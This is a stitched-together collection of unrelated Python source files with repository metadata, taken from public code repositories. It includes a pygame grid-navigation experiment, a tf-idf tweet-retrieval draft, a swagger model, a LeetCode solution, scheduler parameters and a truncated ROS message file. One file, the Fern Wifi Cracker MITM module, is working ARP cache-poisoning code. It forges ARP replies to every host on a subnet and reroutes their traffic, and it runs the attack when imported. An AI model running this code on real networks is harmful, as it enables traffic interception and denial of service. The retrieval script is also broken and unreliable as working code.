0388803960bc9995ffbcfb6435c134e488a98b63
refs/heads/master
2023-03-27T02:31:01.522997
2021-01-12T10:18:12
2021-01-12T10:18:12
310,592,303
0
0
null
null
null
null
UTF-8
Python
false
false
6,356
py
import numpy as np import pygame as pg from pygame import time import collections as co import pickle import random def calculateGridDis(grid1, grid2): gridDis = np.linalg.norm(np.array(grid1) - np.array(grid2), ord=1) return int(gridDis) def creatRect(coor1, coor2): vector = np.array(list(zip(coor1, coor2))) vector.sort(axis=1) rect = [(i, j) for i in range(vector[0][0], vector[0][1] + 1) for j in range(vector[1][0], vector[1][1] + 1)] return rect def calculateAvoidCommitmnetZone(playerGrid, target1, target2): dis1 = calculateGridDis(playerGrid, target1) dis2 = calculateGridDis(playerGrid, target2) if dis1 == dis2: rect1 = creatRect(playerGrid, target1) rect2 = creatRect(playerGrid, target2) avoidCommitmentZone = list(set(rect1).intersection(set(rect2))) avoidCommitmentZone.remove(tuple(playerGrid)) else: avoidCommitmentZone = [] return avoidCommitmentZone def inferGoal(originGrid, aimGrid, targetGridA, targetGridB): pacmanBean1aimDisplacement = calculateGridDis(targetGridA, aimGrid) pacmanBean2aimDisplacement = calculateGridDis(targetGridB, aimGrid) pacmanBean1LastStepDisplacement = calculateGridDis(targetGridA, originGrid) pacmanBean2LastStepDisplacement = calculateGridDis(targetGridB, originGrid) bean1Goal = pacmanBean1LastStepDisplacement - pacmanBean1aimDisplacement bean2Goal = pacmanBean2LastStepDisplacement - pacmanBean2aimDisplacement if bean1Goal > bean2Goal: goal = 1 elif bean1Goal < bean2Goal: goal = 2 else: goal = 0 return goal def checkTerminationOfTrial(bean1Grid, bean2Grid, humanGrid): if calculateGridDis(humanGrid, bean1Grid) == 0 or calculateGridDis(humanGrid, bean2Grid) == 0: pause = False else: pause = True return pause class SingleGoalTrial(): def __init__(self, controller, drawNewState, drawText, normalNoise, checkBoundary): self.controller = controller self.drawNewState = drawNewState self.drawText = drawText self.normalNoise = normalNoise self.checkBoundary = checkBoundary def __call__(self, beanGrid, playerGrid, designValues): obstacles = [] initialPlayerGrid = playerGrid reactionTime = list() trajectory = [initialPlayerGrid] results = co.OrderedDict() aimActionList = list() totalStep = int(np.linalg.norm(np.array(playerGrid) - np.array(beanGrid), ord=1)) noiseStep = random.sample(list(range(2, totalStep)), designValues) stepCount = 0 goalList = list() self.drawText("+", [0, 0, 0], [7, 7]) pg.time.wait(1300) self.drawNewState(beanGrid, beanGrid, initialPlayerGrid, obstacles) pg.event.set_allowed([pg.KEYDOWN, pg.KEYUP, pg.QUIT]) realPlayerGrid = initialPlayerGrid pause = True initialTime = time.get_ticks() while pause: aimPlayerGrid, aimAction = self.controller(realPlayerGrid, beanGrid, beanGrid) reactionTime.append(time.get_ticks() - initialTime) stepCount = stepCount + 1 noisePlayerGrid, realAction = self.normalNoise(realPlayerGrid, aimAction, noiseStep, stepCount) realPlayerGrid = self.checkBoundary(noisePlayerGrid) self.drawNewState(beanGrid, beanGrid, realPlayerGrid, obstacles) trajectory.append(list(realPlayerGrid)) aimActionList.append(aimAction) pause = checkTerminationOfTrial(beanGrid, beanGrid, realPlayerGrid) pg.time.wait(500) pg.event.set_blocked([pg.KEYDOWN, pg.KEYUP]) results["reactionTime"] = str(reactionTime) results["trajectory"] = str(trajectory) results["aimAction"] = str(aimActionList) results["noisePoint"] = str(noiseStep) return results class NormalTrial(): def __init__(self, controller, drawNewState, drawText, normalNoise, checkBoundary): self.controller = controller self.drawNewState = drawNewState self.drawText = drawText self.normalNoise = normalNoise self.checkBoundary = checkBoundary def __call__(self, bean1Grid, bean2Grid, playerGrid, obstacles, designValues): initialPlayerGrid = playerGrid reactionTime = list() trajectory = [initialPlayerGrid] results = co.OrderedDict() aimActionList = list() aimPlayerGridList = [] leastStep = min([calculateGridDis(playerGrid, beanGrid) for beanGrid in [bean1Grid, bean2Grid]]) noiseStep = sorted(random.sample(list(range(2, leastStep)), designValues)) stepCount = 0 goalList = list() self.drawText("+", [0, 0, 0], [7, 7]) pg.time.wait(1300) self.drawNewState(bean1Grid, bean2Grid, initialPlayerGrid, obstacles) pg.event.set_allowed([pg.KEYDOWN, pg.KEYUP, pg.QUIT]) realPlayerGrid = initialPlayerGrid pause = True initialTime = time.get_ticks() while pause: aimPlayerGrid, aimAction = self.controller(realPlayerGrid, bean1Grid, bean2Grid) reactionTime.append(time.get_ticks() - initialTime) goal = inferGoal(trajectory[-1], aimPlayerGrid, bean1Grid, bean2Grid) goalList.append(goal) stepCount = stepCount + 1 noisePlayerGrid, realAction = self.normalNoise(realPlayerGrid, aimAction, noiseStep, stepCount) if noisePlayerGrid in obstacles: noisePlayerGrid = tuple(trajectory[-1]) realPlayerGrid = self.checkBoundary(noisePlayerGrid) self.drawNewState(bean1Grid, bean2Grid, realPlayerGrid, obstacles) trajectory.append(list(realPlayerGrid)) aimActionList.append(aimAction) aimPlayerGridList.append(aimPlayerGrid) pause = checkTerminationOfTrial(bean1Grid, bean2Grid, realPlayerGrid) pg.time.wait(500) pg.event.set_blocked([pg.KEYDOWN, pg.KEYUP]) results["reactionTime"] = str(reactionTime) results["trajectory"] = str(trajectory) results["aimPlayerGridList"] = str(aimPlayerGridList) results["aimAction"] = str(aimActionList) results["noisePoint"] = str(noiseStep) results["goal"] = str(goalList) return results
b3f84d79385b2e8fd9a8f9a72177eabb2b44ec3c
f846aad1778d33ff59a8c931a9107bb7819a8a7a
/Fern-Wifi-Cracker-Py3/core/toolbox/MITM_Core.py
40844758ae482711fe731c4ddef071fc895ee535
[]
no_license
kimocoder/fern-wifi-cracker
f170f397bd34c5ab04849fb935c0f50856ef70b3
04818cb97bf2068e3015c954dbeaa510b95caa29
refs/heads/master
2023-04-27T07:29:00.385430
2019-06-01T09:58:46
2019-06-01T09:58:46
91,082,900
2
0
null
2019-06-01T09:59:12
2017-05-12T11:03:19
Python
UTF-8
Python
false
false
11,507
py
#------------------------------------------------------------------------------- # Name: MITM Core (Man In The Middle) # Purpose: Redirecting Network traffic to attack host by various MITM engines # # Author: Saviour Emmanuel Ekiko # # Created: 15/08/2012 # Copyright: (c) Fern Wifi Cracker 2011 # Licence: <GNU GPL v3> # # #------------------------------------------------------------------------------- # GNU GPL v3 Licence Summary: # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. import os import time import thread import threading from scapy.all import * class Fern_MITM_Class: class ARP_Poisoning(object): def __init__(self): self._attack_option = str() # "ARP POISON" or "ARP POISON + ROUTE" or "DOS" self.interface_card = str() # eth0, wlan0 self.gateway_IP_address = str() # Router or default gateway address self._gateway_MAC_addr = str() # Router Mac Address, set by _set_Gateway_MAC() self.subnet_hosts = {} # Holds IP Address to Mac Address Mappings of Subnet Hosts e.g {"192.168.0.1":"00:C0:23:DF:87"} self.control = True # Used to control the processes. if False -> Stop self.semaphore = threading.BoundedSemaphore(15) self._local_mac = str() # Mac address for interface card self._local_IP_Address = str() # IP address for interface card def ARP_Who_Has(self,target_ip_address): '''Send ARP request, remote host returns its MAC Address''' ethernet = Ether(dst = "ff:ff:ff:ff:ff:ff",src = self._local_mac) arp_packet = ARP(hwtype = 0x1,ptype = 0x800,hwlen = 0x6,plen = 0x4, op = "who-has",hwsrc = self._local_mac,psrc = self._local_IP_Address,hwdst = "00:00:00:00:00:00",pdst = target_ip_address) padding_packet = Padding(load = "\x00"*18) ARP_who_has_packet = ethernet/arp_packet/padding_packet return(ARP_who_has_packet) def ARP_Is_At(self,ip_address,target_mac_address): '''Poisons Cache with fake target mac address''' ethernet = Ether(dst = 'ff:ff:ff:ff:ff:ff',src = self._local_mac) arp_packet = ARP(hwtype = 0x1,ptype = 0x800,hwlen = 0x6,plen = 0x4, op = "is-at",hwsrc = self._local_mac,psrc = self.gateway_IP_address,hwdst = 'ff:ff:ff:ff:ff:ff',pdst = ip_address) padding_packet = Padding(load = "\x00"*18) ARP_is_at_packet = ethernet/arp_packet/padding_packet return(ARP_is_at_packet) def _gateway_MAC_Probe(self): '''_set_Gate_Mac worker, runs thread that sends and ARP who as packet to fecth gateway mac''' while(self.control): packet = self.ARP_Who_Has(self.gateway_IP_address) sendp(packet,iface = self.interface_card) if(self._gateway_MAC_addr): break time.sleep(3) def _set_Gateway_MAC(self): '''Fetches the Gateway MAC address''' self._gateway_MAC_addr = str() thread.start_new_thread(self._gateway_MAC_Probe,()) while not self._gateway_MAC_addr: reply = sniff(filter = "arp",count = 2)[1] if(reply.haslayer(ARP)): if((reply.op == 0x2) and (reply.psrc == self.gateway_IP_address)): self._gateway_MAC_addr = reply.hwsrc break def _network_Hosts_Probe(self): '''ARP sweep subnet for available hosts''' while(self.control): segment = int(self.gateway_IP_address[:self.gateway_IP_address.index(".")]) if segment in range(1,127): # Class A IP address address_func = self.class_A_generator elif segment in range(128,191): # Class B IP address address_func = self.class_B_generator else: # Class C IP address address_func = self.class_C_generator for address in address_func(self.gateway_IP_address): if not self.control: return time.sleep(0.01) packet = self.ARP_Who_Has(address) sendp(packet,iface = self.interface_card) # Send Who has packet to all hosts on subnet time.sleep(30) def _get_Network_Hosts_Worker(self,reply): '''thread worker for the _get_Netword_Host method''' self.semaphore.acquire() try: if(reply.haslayer(ARP)): if((reply.op == 0x2) and (reply.hwsrc != self._local_mac)): if not self.subnet_hosts.has_key(reply.hwsrc): if(str(reply.hwsrc) != str(self._gateway_MAC_addr)): self.subnet_hosts[reply.psrc] = reply.hwsrc finally: self.semaphore.release() def _get_Network_Hosts(self): '''Receives ARP is-at from Hosts on the subnet''' packet_count = 1 thread.start_new_thread(self._network_Hosts_Probe,()) sniff(filter = "arp",prn = self._get_Network_Hosts_Worker,store = 0) def _poison_arp_cache(self): '''Poisions ARP cache of detected Hosts''' while(self.control): for ip_address in self.subnet_hosts.keys(): packet = self.ARP_Is_At(ip_address,self.subnet_hosts[ip_address]) sendp(packet,iface = self.interface_card) time.sleep(5) def _redirect_network_traffic_worker(self,routed_data): ''' Thread worker for the _redirect_network_traffic() method''' self.semaphore.acquire() try: if(routed_data.haslayer(Ether)): if(routed_data.getlayer(Ether).dst == self._local_mac): routed_data.getlayer(Ether).dst = self._gateway_MAC_addr sendp(routed_data,iface = self.interface_card) finally: self.semaphore.release() def _redirect_network_traffic(self): '''Redirect traffic to the Gateway Address''' sniff(prn = self._redirect_network_traffic_worker,store = 0) def Start_ARP_Poisoning(self,route_enabled = True): '''Start ARP Poisoning Attack''' self.control = True self._local_mac = self.get_Mac_Address(self.interface_card).strip() self._local_IP_Address = self.get_IP_Adddress() self._set_Gateway_MAC() thread.start_new_thread(self._get_Network_Hosts,()) # Get all network hosts on subnet if(route_enabled): thread.start_new_thread(self._redirect_network_traffic,()) # Redirect traffic to default gateway self._poison_arp_cache() # Poison the cache of all network hosts #################### OS NETWORKING FUNCTIONS ##################### def get_Mac_Address(self,interface): sys_net = "/sys/class/net/" + interface + "/address" addr = open(sys_net,"r") mac_addr = addr.read() addr.close() return(mac_addr) def get_IP_Adddress(self): import re import commands regex = "inet addr:((\d+.){3}\d+)" sys_out = commands.getstatusoutput("ifconfig " + self.interface_card)[1] result = re.findall(regex,sys_out) if(result): return(result[0][0]) return("0.0.0.0") def class_A_generator(self,address): '''Generates CIDR class A adresses''' #/8 Class A address host range = pow(2,24) -2 mod = address.index('.') address = address[:mod] + '.%d' * 3 for first_octect in range(255): for second_octect in range(255): for third_octect in range(255): yield(address % (first_octect,\ second_octect,third_octect)) def class_B_generator(self,address): '''Generates CIDR class B adresses''' #/16 Class B address host range = pow(2,16) -2 mod = address.rindex('.') address = address[:address[0:mod].rindex('.')] + '.%d'*2 for first_octect in range(255): for second_octect in range(255): yield(address % (\ first_octect,second_octect)) def class_C_generator(self,address): '''Generates CIDR class C adresses''' #/24 Class C address host range = pow(2,8) -2 process = address.rindex('.') address = address[:process] + '.%d' for octect in range(255): yield(address % octect) #################### OS NETWORKING FUNCTIONS END ######################## def set_Attack_Option(self,option): '''"ARP POISON" or "ARP POISON + ROUTE" or "DOS"''' self._attack_option = option def run_attack(self): attack_options = ["ARP POISON","ARP POISON + ROUTE","DOS"] if(self._attack_option == "ARP POISON"): self.Start_ARP_Poisoning(False) if(self._attack_option == "ARP POISON + ROUTE"): self.Start_ARP_Poisoning(True) if(self._attack_option == "DOS"): self.Start_ARP_Poisoning(False) if(self._attack_option == str()): raise Exception("Attack Type has not been set") if(self._attack_option not in attack_options): raise Exception("Invalid Attack Option") instance = Fern_MITM_Class.ARP_Poisoning() instance.interface_card = os.environ["interface_card"] instance.gateway_IP_address = os.environ["gateway_ip_address"] instance.set_Attack_Option("ARP POISON + ROUTE") instance.run_attack() # Usage: # instance = Fern_MITM_Class.ARP_Poisoning() # instance.interface_card = "eth0" # instance.gateway_IP_address = "192.168.133.1" # instance.set_Attack_Option("ARP POISON + ROUTE") # instance.start() # instance.stop()
797a8815744350425e025a5f0309849676b9691c
e27333261b8e579564016c71d2061cc33972a8b8
/.history/api/IR_engine_20210728213929.py
ddcc939eb070ba750cc5357a2d6a5aa401fe3e9a
[]
no_license
Dustyik/NewsTweet_InformationRetrieval
882e63dd20bc9101cbf48afa6c3302febf1989b1
d9a6d92b51c288f5bcd21ea1cc54772910fa58f7
refs/heads/master
2023-07-01T09:12:53.215563
2021-08-12T08:28:33
2021-08-12T08:28:33
382,780,359
0
0
null
null
null
null
UTF-8
Python
false
false
6,136
py
import pandas as pd import numpy as np from sklearn.feature_extraction.text import CountVectorizer from sklearn.feature_extraction.text import TfidfVectorizer from sklearn.metrics.pairwise import cosine_similarity from sklearn.metrics.pairwise import euclidean_distances from nltk.stem import PorterStemmer from nltk.tokenize import word_tokenize from IPython.display import display ''' Functions to write: 1. tf-idf with cosine sim/Euclidean distance - represent terms in each document with its tf-idf weights, 2. VSM with cosine sim/Euclidean distance 3. BIM 4. BM25 5. BERT Test Titles: f7ca322d-c3e8-40d2-841f-9d7250ac72ca Worcester breakfast club for veterans gives hunger its marching orders 609772bc-0672-4db5-8516-4c025cfd54ca Jumpshot Gives Marketers Renewed Visibility Into Paid and Organic Keywords With Launch of Jumpshot Elite 1aa9d1b0-e6ba-4a48-ad0c-66552d896aac The Return Of The Nike Air Max Sensation Has 80’s Babies Hyped! 719699f9-47be-4bc7-969b-b53a881c95ae This New Dating App Will Ruin Your Internet Game Test Titles Stemmed: worcest breakfast club for veteran give hunger it march order jumpshot give market renew visibl into paid and organ keyword with launch of jumpshot elit the return of the nike air max sensat ha s babi hype thi new date app will ruin your internet game ''' titles_file_path = r"D:\Desktop\IR_term_8\IR-tweets---disaster-\article_titles_stemmed.csv" tweets_file_path = r"D:\Desktop\IR_term_8\IR-tweets---disaster-\dataset_scrapped.csv" SEARCH_MODELS = { "tfcs": "Tf-idf w Cosine Sim", "tfed": "Tf-idf w Euclidean Dist" } def returnTweetsBasedOnSearchModel(article_id, searchModel): return class DataProcessor: def __init__(self): self.titles_data = pd.read_csv(titles_file_path) self.titles_data = self.titles_data.dropna() self.tweets_data = pd.read_csv(tweets_file_path) self.tweets_data = self.tweets_data.dropna() #self.data.title = self.data.title.astype(str) #self.porter = PorterStemmer() #self.get_clean_data() print ("Data Processor up and ready...") ''' Tokenizing of article titles should be done beforehand def tokenize_stem_lower(self, text): tokens = word_tokenize(text) tokens = list(filter(lambda x: x.isalpha(), tokens)) tokens = [self.porter.stem(x.lower()) for x in tokens] return ' '.join(tokens) def get_clean_data(self): self.data['clean_text'] = self.data.apply(lambda x: self.tokenize_stem_lower(x.title), axis=1) return self.data ''' class CosineSimilarity: def __init__(self, titles, tweets, type='tfidf'): self.titles = titles #contains titles data self.tweets = tweets #contains tweets data self.vectorizer = self.change_matrix_type(type) def get_result(self, return_size): cos_sim = cosine_similarity(self.matrix, self.matrix) top_ind = np.flip(np.argsort(cos_sim[0]))[1:return_size+1] top_id = [list(self.matrix.index)[i] for i in top_ind] # print(top_10_ind ,top_10_id) self.result = [] for i in top_id: filt = self.data[self.data.document==i] for ind, r in filt.iterrows(): rel = r['rel'] text = r['text'] related = r['topic'] score = 0 if related==self.query_id and rel>0: score = 1 if related==self.query_id and rel==0: score = -1 self.result.append({'tweet_id':i, 'text': text, 'related_article':related,'score': score}) def query(self, query_id, query_text, return_size=40): self.query_id = query_id term_doc = self.vectorizer.fit_transform([query_text]+list(self.data.tweets)) #ind = ['query'] + list(self.documents) #self.matrix = pd.DataFrame(term_doc.toarray(), columns=self.tweets.get_feature_names(), index=ind) #self.get_result(return_size) #return pd.DataFrame(self.result) def change_matrix_type(self, type): if type == 'tfidf': return TfidfVectorizer() elif type == 'dt': return CountVectorizer() #transforms the entire word matrix into a set of vectors else: print('Type is invalid') def get_matrix(self): return self.matrix class EuclideanDistance: def __init__(self, data, type='tfidf'): self.data = data self.change_matrix_type(type) self.matrix = None def get_result(self, return_size): euclidean = euclidean_distances(self.matrix.values[1:], [self.matrix.values[0]]) top_ind = np.argsort(euclidean.T[0])[:return_size] top_id = [list(self.matrix.index)[i] for i in top_ind] # print(sorted(euclidean[:20]),top_10_ind ,top_10_id) self.result = [] for i in top_id: filt = self.data[self.data.document==i] for ind, r in filt.iterrows(): rel = r['rel'] text = r['text'] related = r['topic'] score = 0 if related==self.query_id and rel>0: score = 1 if related==self.query_id and rel==0: score = -1 self.result.append({'tweet_id':i, 'text': text, 'related_article':related,'score': score}) def query(self, query_id, query_text, return_size=10): self.query_id = query_id term_doc = self.vec.fit_transform([query_text]+list(self.data.clean_text)) ind = ['query'] + list(self.data.document) self.matrix = pd.DataFrame(term_doc.toarray(), columns=self.vec.get_feature_names(), index=ind) self.get_result(return_size) return pd.DataFrame(self.result) def change_matrix_type(self, type): if type == 'tfidf': self.vec = TfidfVectorizer() elif type == 'dt': self.vec = CountVectorizer() else: print('Type is invalid') def get_matrix(self): return self.matrix dataProcessor = DataProcessor() tweets = dataProcessor.tweets_data titles = dataProcessor.titles_data #display(tweets.head()) #display(titles.head()) sample_query_id = "f7ca322d-c3e8-40d2-841f-9d7250ac72ca" sample_query_text = "Worcester breakfast club for veterans gives hunger its marching orders" cosine_similarity = CosineSimilarity(titles = titles, tweets = tweets) cosine_similarity.vectorizer.fit_transform([sample_query_text]) print (cosine_similarity.vectorizer.get_feature_names()) #cosine_similarity.query(sample_query_id, sample_query_text)
3f27767e32d95a71d36747e6db0b0d8e9bfabfc9
f0a65d21d5ba16888f131fe99ed8baf0a85cf7dd
/pygmsh/volume_base.py
d3a22878fde32ff32a8b8924022e7a8096963a9b
[ "MIT" ]
permissive
mjredmond/pygmsh
d4a1e4e418af931eccbe73db01813a70efc2924a
972e1164d77ecbf6c2b50b93fec9dc48c8d913e6
refs/heads/master
2021-01-19T07:52:53.057151
2017-04-06T09:48:21
2017-04-06T09:48:21
87,581,937
0
0
null
2017-04-07T19:52:56
2017-04-07T19:52:56
null
UTF-8
Python
false
false
246
py
# -*- coding: utf-8 -*- # class VolumeBase(object): _ID = 0 def __init__(self, id=None): if id: self.id = id else: self.id = 'v%d' % VolumeBase._ID VolumeBase._ID += 1 return
c1396ab21dabc56b8319ae076980db2b18e388c6
e2e7b6ae6f8897a75aaa960ed36bd90aa0743710
/swagger_client/models/post_deployment.py
2e5931f02a8d25c5931c6afa88ad097e5ca01832
[ "Apache-2.0" ]
permissive
radon-h2020/radon-ctt-cli
36912822bc8d76d52b00ea657ed01b8bfcc5056f
3120b748c73e99d81d0cac5037e393229577d640
refs/heads/master
2023-08-19T10:54:01.517243
2021-09-15T15:38:51
2021-09-15T15:38:51
299,571,330
0
0
null
null
null
null
UTF-8
Python
false
false
3,461
py
# coding: utf-8 """ RADON CTT Server API This is API of the RADON Continuous Testing Tool (CTT) Server: <a href=\"https://github.com/radon-h2020/radon-ctt\">https://github.com/radon-h2020/radon-ctt<a/> # noqa: E501 OpenAPI spec version: 1.0.0-oas3 Generated by: https://github.com/swagger-api/swagger-codegen.git """ import pprint import re # noqa: F401 import six class POSTDeployment(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. """ """ Attributes: swagger_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ swagger_types = { 'testartifact_uuid': 'str' } attribute_map = { 'testartifact_uuid': 'testartifact_uuid' } def __init__(self, testartifact_uuid=None): # noqa: E501 """POSTDeployment - a model defined in Swagger""" # noqa: E501 self._testartifact_uuid = None self.discriminator = None self.testartifact_uuid = testartifact_uuid @property def testartifact_uuid(self): """Gets the testartifact_uuid of this POSTDeployment. # noqa: E501 :return: The testartifact_uuid of this POSTDeployment. # noqa: E501 :rtype: str """ return self._testartifact_uuid @testartifact_uuid.setter def testartifact_uuid(self, testartifact_uuid): """Sets the testartifact_uuid of this POSTDeployment. :param testartifact_uuid: The testartifact_uuid of this POSTDeployment. # noqa: E501 :type: str """ if testartifact_uuid is None: raise ValueError("Invalid value for `testartifact_uuid`, must not be `None`") # noqa: E501 self._testartifact_uuid = testartifact_uuid def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value if issubclass(POSTDeployment, dict): for key, value in self.items(): result[key] = value return result def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, POSTDeployment): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """Returns true if both objects are not equal""" return not self == other
a4e16aa3029986e19186a08d10ba6756a749ef85
865bd5e42a4299f78c5e23b5db2bdba2d848ab1d
/Python/75.sort-colors.132268888.ac.python3.py
420999a7c4e65d780fb46607f6690cc3de47a52b
[]
no_license
zhiymatt/Leetcode
53f02834fc636bfe559393e9d98c2202b52528e1
3a965faee2c9b0ae507991b4d9b81ed0e4912f05
refs/heads/master
2020-03-09T08:57:01.796799
2018-05-08T22:01:38
2018-05-08T22:01:38
128,700,683
0
1
null
null
null
null
UTF-8
Python
false
false
1,386
py
# # [75] Sort Colors # # https://leetcode.com/problems/sort-colors/description/ # # algorithms # Medium (38.90%) # Total Accepted: 217.5K # Total Submissions: 559.1K # Testcase Example: '[0]' # # # Given an array with n objects colored red, white or blue, sort them so that # objects of the same color are adjacent, with the colors in the order red, # white and blue. # # # # Here, we will use the integers 0, 1, and 2 to represent the color red, white, # and blue respectively. # # # # Note: # You are not suppose to use the library's sort function for this problem. # # # click to show follow up. # # # Follow up: # A rather straight forward solution is a two-pass algorithm using counting # sort. # First, iterate the array counting number of 0's, 1's, and 2's, then overwrite # array with total number of 0's, then 1's and followed by 2's. # Could you come up with an one-pass algorithm using only constant space? # # # class Solution: def sortColors(self, nums): """ :type nums: List[int] :rtype: void Do not return anything, modify nums in-place instead. """ i = j = 0 # i for 0, j for 0 and 1 for k, v in enumerate(nums): nums[k] = 2 if v < 2: nums[j] = 1 j += 1 if v == 0: nums[i] = 0 i += 1
a100678014c55766c07b94ae81cf67b691c11c59
ac5e52a3fc52dde58d208746cddabef2e378119e
/exps-sblp/sblp_ut=3.5_rd=1_rw=0.04_rn=4_u=0.075-0.325_p=harmonic-2/sched=RUN_trial=6/sched.py
3605875026286563e51a9292de1d94125c66f6dc
[]
no_license
ricardobtxr/experiment-scripts
1e2abfcd94fb0ef5a56c5d7dffddfe814752eef1
7bcebff7ac2f2822423f211f1162cd017a18babb
refs/heads/master
2023-04-09T02:37:41.466794
2021-04-25T03:27:16
2021-04-25T03:27:16
358,926,457
0
0
null
null
null
null
UTF-8
Python
false
false
529
py
-S 1 -X RUN -Q 0 -L 2 106 400 -S 0 -X RUN -Q 0 -L 2 86 400 -S 0 -X RUN -Q 0 -L 2 74 250 -S 0 -X RUN -Q 0 -L 2 59 250 -S 2 -X RUN -Q 1 -L 1 54 200 -S 3 -X RUN -Q 1 -L 1 44 175 -S 2 -X RUN -Q 1 -L 1 40 200 -S 2 -X RUN -Q 1 -L 1 37 125 -S 4 -X RUN -Q 2 -L 1 35 125 -S 4 -X RUN -Q 2 -L 1 33 125 -S 4 -X RUN -Q 2 -L 1 32 300 -S 4 -X RUN -Q 2 -L 1 30 100 -S 5 -X RUN -Q 3 -L 1 30 300 -S 5 -X RUN -Q 3 -L 1 28 150 -S 5 -X RUN -Q 3 -L 1 24 300 -S 5 -X RUN -Q 3 -L 1 19 125
f284deeabab19ea1adbc370ff61a3d7bf21a0ee6
99052370591eadf44264dbe09022d4aa5cd9687d
/install/lib/python2.7/dist-packages/cartesian_planner/msg/_cart_moveGoal.py
f245dd6ac0ba90eb7cf6a28424f7787009277745
[]
no_license
brucemingxinliu/ros_ws
11b1a3e142132925d35b3adf929f1000392c5bdc
45f7e553ea20b79e3e93af5f77a1b14b64184875
refs/heads/master
2021-01-24T03:36:47.043040
2018-02-26T00:53:37
2018-02-26T00:53:37
122,892,702
0
0
null
null
null
null
UTF-8
Python
false
false
13,447
py
# This Python file uses the following encoding: utf-8 """autogenerated by genpy from cartesian_planner/cart_moveGoal.msg. Do not edit.""" import sys python3 = True if sys.hexversion > 0x03000000 else False import genpy import struct import geometry_msgs.msg import std_msgs.msg class cart_moveGoal(genpy.Message): _md5sum = "5bd816596081b2b0fbcdf7dad29bf944" _type = "cartesian_planner/cart_moveGoal" _has_header = False #flag to mark the presence of a Header object _full_text = """# ====== DO NOT MODIFY! AUTOGENERATED FROM AN ACTION DEFINITION ====== #cartesian-move action interface #minimally, it may contain just a command code #more generally, it may contain desired tool-frame pose, as well # as gripper pose (gripper opening, or vacuum gripper on/off) # and an arrival time for the move # It is assumed that a move starts from the previous commanded pose, or from the current joint state #return codes provide status info, e.g. if a proposed move is reachable #define message constants: uint8 ARM_TEST_MODE = 0 #queries uint8 ARM_IS_SERVER_BUSY_QUERY = 1 uint8 ARM_QUERY_IS_PATH_VALID = 2 uint8 GET_TOOL_POSE = 5 uint8 GET_Q_DATA = 7 #requests for motion plans; uint8 PLAN_PATH_CURRENT_TO_WAITING_POSE=20 #uint8 PLAN_PATH_CURRENT_TO_PRE_POSE=20 #synonym uint8 PLAN_JSPACE_PATH_CURRENT_TO_CART_GRIPPER_POSE = 21 #plan a joint-space path from current arm pose to some IK soln of Cartesian goal uint8 PLAN_PATH_CURRENT_TO_GOAL_GRIPPER_POSE=22 #plan cartesian path from current arm pose to goal gripper pose uint8 PLAN_FINE_PATH_CURRENT_TO_GOAL_GRIPPER_POSE = 23 #plan path to specified gripper pose #as above, but hi-res uint8 PLAN_PATH_CURRENT_TO_GOAL_DP_XYZ = 24 #rectilinear translation w/ fixed orientation uint8 PLAN_JSPACE_PATH_CURRENT_TO_QGOAL = 25 uint8 TIME_RESCALE_PLANNED_TRAJECTORY = 40 #can make arm go slower/faster with provided time-stretch factor uint8 REFINE_PLANNED_TRAJECTORY = 41 #if used approx IK soln, use this option to refine solns uint8 SET_ARRIVAL_TIME_PLANNED_TRAJECTORY = 42 #used to set desired arrival time; put arrival time value in goal time_scale_stretch_factor # request to preview plan: #uint8 DISPLAY_TRAJECTORY = 50 #MOVE command! uint8 EXECUTE_PLANNED_PATH = 100 #uint8 ARM_DESCEND_20CM=101 #uint8 ARM_DEPART_20CM=102 #goal: int32 command_code geometry_msgs/PoseStamped des_pose_gripper float64[] arm_dp #to command a 3-D vector displacement relative to current pose, fixed orientation float64[] q_goal float64 time_scale_stretch_factor ================================================================================ MSG: geometry_msgs/PoseStamped # A Pose with reference coordinate frame and timestamp Header header Pose pose ================================================================================ MSG: std_msgs/Header # Standard metadata for higher-level stamped data types. # This is generally used to communicate timestamped data # in a particular coordinate frame. # # sequence ID: consecutively increasing ID uint32 seq #Two-integer timestamp that is expressed as: # * stamp.sec: seconds (stamp_secs) since epoch (in Python the variable is called 'secs') # * stamp.nsec: nanoseconds since stamp_secs (in Python the variable is called 'nsecs') # time-handling sugar is provided by the client library time stamp #Frame this data is associated with # 0: no frame # 1: global frame string frame_id ================================================================================ MSG: geometry_msgs/Pose # A representation of pose in free space, composed of postion and orientation. Point position Quaternion orientation ================================================================================ MSG: geometry_msgs/Point # This contains the position of a point in free space float64 x float64 y float64 z ================================================================================ MSG: geometry_msgs/Quaternion # This represents an orientation in free space in quaternion form. float64 x float64 y float64 z float64 w """ # Pseudo-constants ARM_TEST_MODE = 0 ARM_IS_SERVER_BUSY_QUERY = 1 ARM_QUERY_IS_PATH_VALID = 2 GET_TOOL_POSE = 5 GET_Q_DATA = 7 PLAN_PATH_CURRENT_TO_WAITING_POSE = 20 PLAN_JSPACE_PATH_CURRENT_TO_CART_GRIPPER_POSE = 21 PLAN_PATH_CURRENT_TO_GOAL_GRIPPER_POSE = 22 PLAN_FINE_PATH_CURRENT_TO_GOAL_GRIPPER_POSE = 23 PLAN_PATH_CURRENT_TO_GOAL_DP_XYZ = 24 PLAN_JSPACE_PATH_CURRENT_TO_QGOAL = 25 TIME_RESCALE_PLANNED_TRAJECTORY = 40 REFINE_PLANNED_TRAJECTORY = 41 SET_ARRIVAL_TIME_PLANNED_TRAJECTORY = 42 EXECUTE_PLANNED_PATH = 100 __slots__ = ['command_code','des_pose_gripper','arm_dp','q_goal','time_scale_stretch_factor'] _slot_types = 